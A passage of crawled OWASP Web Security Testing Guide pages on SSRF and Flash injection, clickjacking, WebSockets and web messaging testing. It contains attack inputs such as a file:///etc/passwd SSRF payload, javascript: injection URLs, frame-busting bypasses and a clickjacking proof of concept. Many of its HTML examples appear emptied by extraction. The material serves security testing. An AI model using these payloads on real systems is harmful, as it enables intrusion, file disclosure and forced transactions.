https://example.com/page?page=file:///etc/passwd\n```\n\n### HTTP Methods Used\n\nAll of the payloads above can apply to any type of HTTP request, and could also be injected into header and cookie values as well.\n\nOne important note on SSRF with POST requests is that the SSRF may also manifest in a blind manner, because the application may not return anything immediately. Instead, the injected data may be used in other functionality such as PDF reports, invoice or order handling, etc., which may be visible to employees or staff but not necessarily to the end user or tester.\n\nYou can find more on Blind SSRF [here](https://portswigger.net/web-security/ssrf/blind), or in the references section.\n\n### PDF Generators\n\nIn some cases, a server may convert uploaded files to PDF format. Try injecting ` \n```\n\nIn this situation, the browser will self-generate an HTML page as if it were hosted by the victim host.\n\n### GetURL (AS2) / NavigateToURL (AS3)\n\nThe GetURL function in ActionScript 2.0 and NavigateToURL in ActionScript 3.0 lets the movie load a URI into the browser’s window. If an undefined variable is used as the first argument for getURL:\n\n`getURL(_root.URI,'_targetFrame');`\n\nOr if a FlashVar is used as the parameter that is passed to a navigateToURL function:\n\n```\nvar request:URLRequest = new URLRequest(FlashVarSuppliedURL); navigateToURL(request); \n```\n\nThen this will mean it’s possible to call JavaScript in the same domain where the movie is hosted by requesting:\n\n`http://victim/file.swf?URI=javascript:evilcode`\n\n`getURL('javascript:evilcode','_self');`\n\nThe same is possible when only some part of `getURL` is controlled via DOM injection with Flash JavaScript injection:\n\n```\ngetUrl('javascript:function('+_root.arg+')') \n```\n\n### Using `asfunction`\n\nYou can use the special `asfunction` protocol to cause the link to execute an ActionScript function in a SWF file instead of opening a URL. Until release Flash Player 9 r48 `asfunction` could be used on every method which has a URL as an argument. After that release, `asfunction` was restricted to use within an HTML TextField.\n\nThis means that a tester could try to inject:\n\n```\nasfunction:getURL,javascript:evilcode \n```\n\nin every unsafe method, such as:\n\n```\nloadMovie(_root.URL) \n```\n\nby requesting:\n\n`http://victim/file.swf?URL=asfunction:getURL,javascript:evilcode`\n\n### ExternalInterface\n\n`ExternalInterface.call` is a static method introduced by Adobe to improve player/browser interaction for both ActionScript 2.0 and ActionScript 3.0.\n\nFrom a security point of view it could be abused when part of its argument could be controlled:\n\n```\nflash.external.ExternalInterface.call(_root.callback); \n```\n\nthe attack pattern for this kind of flaw may be something like the following:\n\n```\neval(evilcode) \n```\n\nsince the internal JavaScript that is executed by the browser will be something similar to:\n\n```\neval('try { __flash__toXML('+__root.callback+') ; } catch (e) { \"\"; }') \n```\n\n### HTML Injection\n\nTextField Objects can render minimal HTML by setting:\n\n```\ntf.html = true tf.htmlText = 'text' \n```\n\nSo if some part of text could be controlled by the tester, an `` tag or an image tag could be injected resulting in modifying the GUI or a XSS attack on the browser.\n\nSome attack examples with `` tag:\n\n- Direct XSS: ``\n- Call a function: ``\n- Call SWF public functions: ``\n- Call native static as function: ``\n\nAn image tag could be used as well:\n\n```\n \n```\n\nIn this example, `.swf` is necessary to bypass the Flash Player internal filter:\n\n```\n \n```\n\nSince the release of Flash Player 9.0.124.0, XSS is no longer exploitable, but GUI modification could still be accomplished.\n\nThe following tools may be helpful in working with SWF:\n\n- [Adobe SWF Investigator](https://labs.adobe.com/technologies/swfinvestigator/)\n- [OWASP SWFIntruder](https://wiki.owasp.org/index.php/Category:SWFIntruder)\n- [Decompiler – Flare](http://www.nowrap.de/flare.html)\n- [Disassembler – Flasm](http://flasm.sourceforge.net/)\n- [Swfmill – Convert Swf to XML and vice versa](https://www.swfmill.org/)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 11201, "slov": 1537, "odkazu": 184, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:10:40", "sha256": "f8254fdcd53205b8c948b0cfd5be55313dc14aba52391739723ee87b8c6698d4", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "http://www.wisec.it/en/Docs/flash_App_testing_Owasp07.pdf", "https://labs.adobe.com/technologies/swfinvestigator/", "https://wiki.owasp.org/index.php/Category:SWFIntruder", "http://www.nowrap.de/flare.html", "http://flasm.sourceforge.net/", "https://www.swfmill.org/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/09-Testing_for_Clickjacking", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/09-Testing_for_Clickjacking", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/09-Testing_for_Clickjacking", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "11-Client-side Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing for Clickjacking"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Bypass Clickjacking Protection"}, {"uroven": 4, "text": "Client-side Protection: Frame Busting"}, {"uroven": 5, "text": "Mobile Website Version"}, {"uroven": 5, "text": "Double Framing"}, {"uroven": 5, "text": "Disabling JavaScript"}, {"uroven": 5, "text": "OnBeforeUnload Event"}, {"uroven": 5, "text": "XSS Filter"}, {"uroven": 5, "text": "Redefining Location"}, {"uroven": 4, "text": "Server-side Protection: X-Frame-Options"}, {"uroven": 5, "text": "Browser Compatibility"}, {"uroven": 5, "text": "Proxies"}, {"uroven": 5, "text": "Mobile Website Version"}, {"uroven": 3, "text": "Create a Proof of Concept"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.2\n\n# Testing for Clickjacking\n\n| ID |\n| --- |\n| WSTG-CLNT-09 |\n\n## Summary\n\nClickjacking, a subset of UI redressing, is a malicious technique whereby a web user is deceived into interacting (in most cases by clicking) with something other than what the user believes they are interacting with. This type of attack, either alone or in conjunction with other attacks, could potentially send unauthorized commands or reveal confidential information while the victim is interacting with seemingly-harmless web pages. The term clickjacking was coined by Jeremiah Grossman and Robert Hansen in 2008.\n\nA clickjacking attack uses seemingly-harmless features of HTML and JavaScript to force the victim to perform undesired actions, such as clicking an invisible button that performs an unintended operation. This is a client-side security issue that affects a variety of browsers and platforms.\n\nTo carry out this attack, an attacker creates a seemingly-harmless web page that loads the target application through the use of an inline frame (concealed with CSS code). Once this is done, an attacker may induce the victim to interact with the web page by other means (through, for example, social engineering). Like other attacks, a common prerequisite is that the victim is authenticated against the attacker’s target website.\n\n*Figure 4.11.9-1: Clickjacking inline frame illustration*\n\nThe victim surfs the attacker’s web page with the intention of interacting with the visible user interface, but is inadvertently performing actions on the hidden page. Using the hidden page, an attacker can deceive users into performing actions they never intended to perform through the positioning of the hidden elements in the web page.\n\n*Figure 4.11.9-2: Masked inline frame illustration*\n\nThe power of this method is that the actions performed by the victim are originated from the hidden but authentic target web page. Consequently, some of the anti-CSRF protections deployed by the developers to protect the web page from CSRF attacks could be bypassed.\n\n## Test Objectives\n\n- Understand security measures in place.\n- Assess how strict the security measures are and if they are bypassable.\n\n## How to Test\n\nAs mentioned above, this type of attack is often designed to allow an attacker to induce users’ actions on the target site, even if anti-CSRF tokens are being used. Testing should be conducted to determine if website pages are vulnerable to clickjacking attacks.\n\nTesters may investigate if a target page can be loaded in an inline frame by creating a simple web page that includes a frame containing the target web page. An example of HTML code to create this testing web page is displayed in the following snippet:\n\n```\n Clickjack test page \n```\n\nIf the `http://www.target.site` page is successfully loaded into the frame, then the site is vulnerable and has no type of protection against clickjacking attacks.\n\n### Bypass Clickjacking Protection\n\nIf the `http://www.target.site` page does not appear in the inline frame, the site probably has some form of protection against clickjacking. It’s important to note that this isn’t a guarantee that the page is totally immune to clickjacking.\n\nMethods to protect a web page from clickjacking can be divided into a few main mechanisms. It is possible to bypass these methods in some circumstances by employing specific workarounds. For further OWASP resources on clickjacking defense, see the [OWASP Clickjacking Defense Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html).\n\n#### Client-side Protection: Frame Busting\n\nThe most common client-side method, that has been developed to protect a web page from clickjacking, is called Frame Busting and it consists of a script in each page that should not be framed. The aim of this technique is to prevent a site from functioning when it is loaded inside a frame.\n\nThe structure of frame busting code typically consists of a “conditional statement” and a “counter-action” statement. For this type of protection, there are some work arounds that fall under the name of “Bust frame busting”. Some of this techniques are browser-specific while others work across browsers.\n\n##### Mobile Website Version\n\nMobile versions of the website are usually smaller and faster than the desktop ones, and they have to be less complex than the main application. Mobile variants have often less protection since there is the wrong assumption that an attacker could not attack an application by the smart phone. This is fundamentally wrong, because an attacker can fake the real origin given by a web browser, such that a non-mobile victim may be able to visit an application made for mobile users. From this assumption follows that in some cases it is not necessary to use techniques to evade frame busting when there are unprotected alternatives, which allow the use of same attack vectors.\n\n##### Double Framing\n\nSome frame busting techniques try to break frame by assigning a value to the `parent.location` attribute in the “counter-action” statement.\n\nSuch actions are, for example:\n\n- `self.parent.location` = `document.location`\n- `parent.location.href` = `self.location`\n- `parent.location` = `self.location`\n\nThis method works well until the target page is framed by a single page. However, if the attacker encloses the target web page in one frame which is nested in another one (a double frame), then trying to access to `parent.location` becomes a security violation in all popular browsers, due to the descendant frame navigation policy. This security violation disables the counter-action navigation.\n\nTarget site frame busting code (`example.org`):\n\n```\nif(top.location!=self.locaton) { parent.location = self.location; } \n```\n\nAttacker’s top frame (`fictitious2.html`):\n\n```\n \n```\n\n- Sandbox attribute: with HTML5 there is a new attribute called “sandbox”. It enables a set of restrictions on content loaded into the iframe. At this moment this attribute is only compatible with Chrome and Safari.\n\nExample:\n\n```\n \n```\n\n- Design mode: Paul Stone showed a security issue concerning the “designMode” that can be turned on in the framing page (via document.designMode), disabling JavaScript in top and sub-frame. The design mode is currently implemented in Firefox and IE8.\n\n##### OnBeforeUnload Event\n\nThe `onBeforeUnload` event could be used to evade frame busting code. This event is called when the frame busting code wants to destroy the iframe by loading the URL in the whole web page and not only in the iframe. The handler function returns a string that is prompted to the user asking confirm if he wants to leave the page. When this string is displayed to the user is likely to cancel the navigation, defeating target’s frame busting attempt.\n\nThe attacker can use this attack by registering an unload event on the top page using the following example code:\n\n```\n

www.fictitious.site

\n```\n\n- **Redefining location in Safari 4.0.4** : To bust frame busting code with “top.location” it is possible to bind “location” to a function via defineSetter (through window), so that an attempt to read or navigate to the “top.location” will fail.\n\nExample:\n\n```\n \n```\n\n#### Server-side Protection: X-Frame-Options\n\nAn alternative approach to client-side frame busting code was implemented by Microsoft and it consists of an header based defense. This new “X-FRAME-OPTIONS” header is sent from the server on HTTP responses and is used to mark web pages that shouldn’t be framed. This header can take the values DENY, SAMEORIGIN, ALLOW-FROM origin, or non-standard ALLOWALL. Recommended value is DENY.\n\nThe “X-FRAME-OPTIONS” is a very good solution, and was adopted by major browser, but also for this technique there are some limitations that could lead in any case to exploit the clickjacking vulnerability.\n\n##### Browser Compatibility\n\nSince the “X-FRAME-OPTIONS” was introduced in 2009, this header is not compatible with old browser. So every user that doesn’t have an updated browser could be victim of clickjacking attack.\n\n| Browser | Lowest version |\n| --- | --- |\n| Internet Explorer | 8.0 |\n| Firefox (Gecko) | 3.6.9 (1.9.2.9) |\n| Opera | 10.50 |\n| Safari | 4.0 |\n| Chrome | 4.1.249.1042 |\n\n##### Proxies\n\nWeb proxies are known for adding and stripping headers. In the case in which a web proxy strips the “X-FRAME-OPTIONS” header then the site loses its framing protection.\n\n##### Mobile Website Version\n\nAlso in this case, since the `X-FRAME-OPTIONS` has to be implemented in every page of the website, the developers may have not protected the mobile version of the website.\n\n### Create a Proof of Concept\n\nOnce we have discovered that the site we are testing is vulnerable to clickjacking attack, we can proceed with the development of a `proof of concept` (PoC) to demonstrate the vulnerability. It is important to note that, as mentioned previously, these attacks can be used in conjunction with other forms of attacks (for example CSRF attacks) and could lead to overcome anti-CSRF tokens. In this regard we can imagine that, for example, the `example.org` website allows to authenticated and authorized users to make a transfer of money to another account.\n\nSuppose that to execute the transfer the developers have planned three steps. In the first step the user fill a form with the destination account and the amount. In the second step, whenever the user submits the form, is presented a summary page asking the user confirmation (like the one presented in the following picture).\n\n*Figure 4.11.9-3: Clickjacking Example Step 2*\n\nFollowing a snippet of the code for the step 2:\n\n```\n//generate random anti CSRF token\n$csrfToken = md5(uniqid(rand(), TRUE));\n\n//set the token as in the session data\n$_SESSION['antiCsrf'] = $csrfToken;\n\n//Transfer form with the hidden field\n$form = '\n

BANK XYZ - Confirm Transfer

\n Do You want to confirm a transfer of '. $_REQUEST['amount'] .' € to account: '. $_REQUEST['account'] .' ?\n

';\n```\n\nIn the last step are planned security controls and then, if all is ok, the transfer is done. In the following listing a snippet of code of the last step is presented:\n\n> Note: in this example, for simplicity, there is no input sanitization, but it has no relevance to block this type of attack\n\n```\nif( (!empty($_SESSION['antiCsrf'])) && (!empty($_POST['antiCsrf'])) ) { // input logic and sanization checks // check the anti-CSRF token if(($_SESSION['antiCsrf'] == $_POST['antiCsrf']) { echo '

'. $_POST['amount'] .' € successfully transferred to account: '. $_POST['account'] .'

'; } } else { echo '

Transfer KO

'; } \n```\n\nAs you can see the code is protected from CSRF attack both with a random token generated in the second step and accepting only variable passed via POST method. In this situation an attacker could forge a CSRF + Clickjacking attack to evade anti-CSRF protection and force a victim to do a money transfer without her consent.\n\nThe target page for the attack is the second step of the money transfer procedure. Since the developers put the security controls only in the last step, thinking that this is secure enough, the attacker could pass the account and amount parameters via GET method.\n\n> Note: there is an advanced clickjacking attack that permits to force users to fill a form, so also in the case in which is required to fill a form, the attack is feasible\n\nThe attacker’s page may look like a simple and harmless web page like the one presented below:\n\n*Figure 4.11.9-4: Clickjacking Example Malicious Page 1*\n\nBut playing with the CSS opacity value we can see what is hidden under the seemingly innocuous web page.\n\n*Figure 4.11.9-5: Clickjacking Example Malicious Page 2*\n\nThe clickjacking code to create this page is presented below:\n\n```\n Trusted web page

www.owasp.com

\n```\n\nWith the help of CSS (note the `#clickjacking` block) we can mask and suitably position the iframe in such a way as to match the buttons. If the victim click on the button “Click and go!” the form is submitted and the transfer is completed.\n\n*Figure 4.11.9-6: Clickjacking Example Malicious Page 3*\n\nThe example presented uses only basic clickjacking technique, but with advanced technique is possible to force user filling form with values defined by the attacker.\n\n## References\n\n- [OWASP Clickjacking](https://owasp.org/www-community/attacks/Clickjacking)\n- [Wikipedia Clickjacking](https://en.wikipedia.org/wiki/Clickjacking)\n- [Context Information Security: “Next Generation Clickjacking”](https://www.contextis.com/media/downloads/Context-Clickjacking_white_paper_2010.pdf)\n- [Gustav Rydstedt, Elie Bursztein, Dan Boneh, and Collin Jackson: “Busting Frame Busting: a Study of Clickjacking Vulnerabilities on Popular Sites”](https://seclab.stanford.edu/websec/framebusting/framebust.pdf)\n- [Paul Stone: “Next generation clickjacking”](https://media.blackhat.com/bh-eu-10/presentations/Stone/BlackHat-EU-2010-Stone-Next-Generation-Clickjacking-slides.pdf)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 18486, "slov": 2732, "odkazu": 184, "kodovani": "windows-1250", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:10:41", "sha256": "3dbd63346cfd55bb37879eaaee851dbf22dc10931109c3535cb5de9874708375", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html", "https://en.wikipedia.org/wiki/Clickjacking", "https://www.contextis.com/media/downloads/Context-Clickjacking_white_paper_2010.pdf", "https://seclab.stanford.edu/websec/framebusting/framebust.pdf", "https://media.blackhat.com/bh-eu-10/presentations/Stone/BlackHat-EU-2010-Stone-Next-Generation-Clickjacking-slides.pdf", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/10-Testing_WebSockets", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/10-Testing_WebSockets", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/10-Testing_WebSockets", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "11-Client-side Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing WebSockets"}, {"uroven": 2, "text": "Summary"}, {"uroven": 3, "text": "Origin"}, {"uroven": 3, "text": "Confidentiality and Integrity"}, {"uroven": 3, "text": "Input Sanitization"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 4, "text": "Example 1"}, {"uroven": 4, "text": "Example 2"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.2\n\n# Testing WebSockets\n\n| ID |\n| --- |\n| WSTG-CLNT-10 |\n\n## Summary\n\nTraditionally, the HTTP protocol only allows one request/response per TCP connection. Asynchronous JavaScript and XML (AJAX) allows clients to send and receive data asynchronously (in the background without a page refresh) to the server, however, AJAX requires the client to initiate the requests and wait for the server responses (half-duplex).\n\n[WebSockets](https://html.spec.whatwg.org/multipage/web-sockets.html#network) allow the client or server to create a ‘full-duplex’ (two-way) communication channel, allowing the client and server to truly communicate asynchronously. WebSockets conduct their initial *upgrade* handshake over HTTP and from then on all communication is carried out over TCP channels by use of frames. For more, see the [WebSocket Protocol](https://tools.ietf.org/html/rfc6455).\n\n### Origin\n\nIt is the server’s responsibility to verify the [`Origin` header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Origin) in the initial HTTP WebSocket handshake. If the server does not validate the origin header in the initial WebSocket handshake, the WebSocket server may accept connections from any origin. This could allow attackers to communicate with the WebSocket server cross-domain allowing for CSRF-like issues. See also [Top 10-2017 A5-Broken Access Control](https://owasp.org/www-project-top-ten/2017/A5_2017-Broken_Access_Control).\n\n### Confidentiality and Integrity\n\nWebSockets can be used over unencrypted TCP or over encrypted TLS. To use unencrypted WebSockets the `ws://` URI scheme is used (default port 80), to use encrypted (TLS) WebSockets the `wss://` URI scheme is used (default port 443). See also [Top 10-2017 A3-Sensitive Data Exposure](https://owasp.org/www-project-top-ten/2017/A3_2017-Sensitive_Data_Exposure).\n\n### Input Sanitization\n\nAs with any data originating from untrusted sources, the data should be properly sanitized and encoded. See also [Top 10-2017 A1-Injection](https://owasp.org/www-project-top-ten/2017/A1_2017-Injection) and [Top 10-2017 A7-Cross-Site Scripting (XSS)](https://owasp.org/www-project-top-ten/2017/A7_2017-Cross-Site_Scripting_(XSS)).\n\n## Test Objectives\n\n- Identify the usage of WebSockets.\n- Assess its implementation by using the same tests on normal HTTP channels.\n\n## How to Test\n\n### Black-Box Testing\n\n1. Identify that the application is using WebSockets.\n - Inspect the client-side source code for the `ws://` or `wss://` URI scheme.\n - Use Google Chrome’s Developer Tools to view the Network WebSocket communication.\n - Use [ZAP’s](https://www.zaproxy.org) WebSocket tab.\n2. Origin.\n - Using a WebSocket client (one can be found in the Tools section below) attempt to connect to the remote WebSocket server. If a connection is established the server may not be checking the origin header of the WebSocket handshake.\n3. Confidentiality and Integrity.\n - Check that the WebSocket connection is using SSL to transport sensitive information `wss://` .\n - Check the SSL Implementation for security issues (Valid Certificate, BEAST, CRIME, RC4, etc). Refer to the [Testing for Weak Transport Layer Security](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/01-Testing_for_Weak_Transport_Layer_Security) section of this guide.\n4. Authentication.\n - WebSockets do not handle authentication, normal black-box authentication tests should be carried out. Refer to the [Authentication Testing](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/README) sections of this guide.\n5. Authorization.\n - WebSockets do not handle authorization, normal black-box authorization tests should be carried out. Refer to the [Authorization Testing](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/README) sections of this guide.\n6. Input Sanitization.\n - Use [ZAP’s](https://www.zaproxy.org) WebSocket tab to replay and fuzz WebSocket request and responses. Refer to the [Testing for Data Validation](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/README) sections of this guide.\n\n#### Example 1\n\nOnce we have identified that the application is using WebSockets (as described above) we can use the [OWASP Zed Attack Proxy (ZAP)](https://www.zaproxy.org) to intercept the WebSocket request and responses. ZAP can then be used to replay and fuzz the WebSocket request/responses.\n\n*Figure 4.11.10-1: ZAP WebSockets*\n\n#### Example 2\n\nUsing a WebSocket client (one can be found in the Tools section below) attempt to connect to the remote WebSocket server. If the connection is allowed the WebSocket server may not be checking the WebSocket handshake’s origin header. Attempt to replay requests previously intercepted to verify that cross-domain WebSocket communication is possible.\n\n*Figure 4.11.10-2: WebSocket Client*\n\n### Gray-Box Testing\n\nGray-box testing is similar to black-box testing. In gray-box testing, the pen-tester has partial knowledge of the application. The only difference here is that you may have API documentation for the application being tested which includes the expected WebSocket request and responses.\n\n## Tools\n\n- [OWASP Zed Attack Proxy (ZAP)](https://www.zaproxy.org)\n- [WebSocket Client](https://github.com/ethicalhack3r/scripts/blob/master/WebSockets.html)\n- [Google Chrome Simple WebSocket Client](https://chrome.google.com/webstore/detail/simple-websocket-client/pfdhoblngboilpfeibdedpjgfnlcodoo?hl=en)\n\n## References\n\n- [HTML5 Rocks - Introducing WebSockets: Bringing Sockets to the Web](https://www.html5rocks.com/en/tutorials/websockets/basics/)\n- [W3C - The WebSocket API](https://html.spec.whatwg.org/multipage/web-sockets.html#network)\n- [IETF - The WebSocket Protocol](https://tools.ietf.org/html/rfc6455)\n- [Christian Schneider - Cross-Site WebSocket Hijacking (CSWSH)](http://www.christian-schneider.net/CrossSiteWebSocketHijacking.html)\n- [Jussi-Pekka Erkkilä - WebSocket Security Analysis (PDF)](http://juerkkil.iki.fi/files/writings/websocket2012.pdf)\n- [Robert Koch- On WebSockets in Penetration Testing](http://www.ub.tuwien.ac.at/dipl/2013/AC07815487.pdf)\n- [DigiNinja - OWASP ZAP and Web Sockets](http://www.digininja.org/blog/zap_web_sockets.php)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 6340, "slov": 758, "odkazu": 194, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:10:42", "sha256": "80e2335856a5b7cb17e667936b9254da7e0ad925237c28e9420f0bb5be1381cc", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://html.spec.whatwg.org/multipage/web-sockets.html", "https://tools.ietf.org/html/rfc6455", "https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Origin", "https://www.zaproxy.org/", "https://github.com/ethicalhack3r/scripts/blob/master/WebSockets.html", "https://chrome.google.com/webstore/detail/simple-websocket-client/pfdhoblngboilpfeibdedpjgfnlcodoo?hl=en", "https://www.html5rocks.com/en/tutorials/websockets/basics/", "http://www.christian-schneider.net/CrossSiteWebSocketHijacking.html", "http://juerkkil.iki.fi/files/writings/websocket2012.pdf", "http://www.ub.tuwien.ac.at/dipl/2013/AC07815487.pdf", "http://www.digininja.org/blog/zap_web_sockets.php", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/11-Testing_Web_Messaging", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/11-Testing_Web_Messaging", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/11-Testing_Web_Messaging", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "11-Client-side Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing Web Messaging"}, {"uroven": 2, "text": "Summary"}, {"uroven": 3, "text": "Origin Security"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Examine Origin Security"}, {"uroven": 3, "text": "Examine Input Validation"}, {"uroven": 3, "text": "Static Code Analysis"}], "markdown": "# WSTG - v4.2\n\n# Testing Web Messaging\n\n| ID |\n| --- |\n| WSTG-CLNT-11 |\n\n## Summary\n\nWeb Messaging (also known as [Cross Document Messaging](https://html.spec.whatwg.org/multipage/web-messaging.html#web-messaging)) allows applications running on different domains to communicate in a secure manner. Before the introduction of web messaging, the communication of different origins (between iframes, tabs and windows) was restricted by the same origin policy and enforced by the browser. Developers used multiple hacks in order to accomplish these tasks, and most of them were mainly insecure.\n\nThis restriction within the browser is in place to prevent a malicious website from reading confidential data from other iframes, tabs, etc; however, there are some legitimate cases where two trusted websites need to exchange data with each other. To meet this need, Cross Document Messaging was introduced in the [WHATWG HTML5](https://html.spec.whatwg.org/multipage/) draft specification and was implemented in all major browsers. It enables secure communications between multiple origins across iframes, tabs and windows.\n\nThe messaging API introduced the [`postMessage()` method](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage), with which plain-text messages can be sent cross-origin. It consists of two parameters: message, and domain.\n\nThere are some security concerns when using `*` as the domain that we discuss below. In order to receive messages, the receiving website needs to add a new event handler, which has the following attributes:\n\n- Data, the content of the incoming message;\n- Origin of the sender document; and\n- Source, the source window.\n\nHere is an example of the messaging API in use. To send a message:\n\n```\niframe1.contentWindow.postMessage(\"Hello world\",\"http://www.example.com\"); \n```\n\nTo receive a message:\n\n```\nwindow.addEventListener(\"message\", handler, true); function handler(event) { if(event.origin === 'chat.example.com') { /* process message (event.data) */ } else { /* ignore messages from untrusted domains */ } } \n```\n\n### Origin Security\n\nThe origin is made up of a scheme, host name, and port. It uniquely identifies the domain sending or receiving the message, and does not include the path or the fragment part of the URL. For instance, `https://example.com` will be considered different from `http://example.com` because the schema of the former is `https`, while the latter is `http`. This also applies to web servers running in the same domain but on different ports.\n\n## Test Objectives\n\n- Assess the security of the message’s origin.\n- Validate that it’s using safe methods and validating its input.\n\n## How to Test\n\n### Examine Origin Security\n\nTesters should check whether the application code is filtering and processing messages from trusted domains. Within the sending domain, also ensure that the receiving domain is explicitly stated, and that `*` is not used as the second argument of `postMessage()`. This practice could introduce security concerns and could lead to, in the case of a redirection or if the origin changes by other means, the website sending data to unknown hosts, and therefore, leaking confidential data to malicious servers.\n\nIf the website fails to add security controls to restrict the domains or origins that are allowed to send messages to a website, it is likely to introduce a security risk. Testers should examine the code for message event listeners and get the callback function from the `addEventListener` method for further analysis. Domains must always be verified prior to data manipulation.\n\n### Examine Input Validation\n\nAlthough the website is theoretically accepting messages from trusted domains only, data must still be treated as externally-sourced, untrusted data, and processed with the appropriate security controls. Testers should analyze the code and look for insecure methods, in particular where data is being evaluated via `eval()` or inserted into the DOM via the `innerHTML` property, 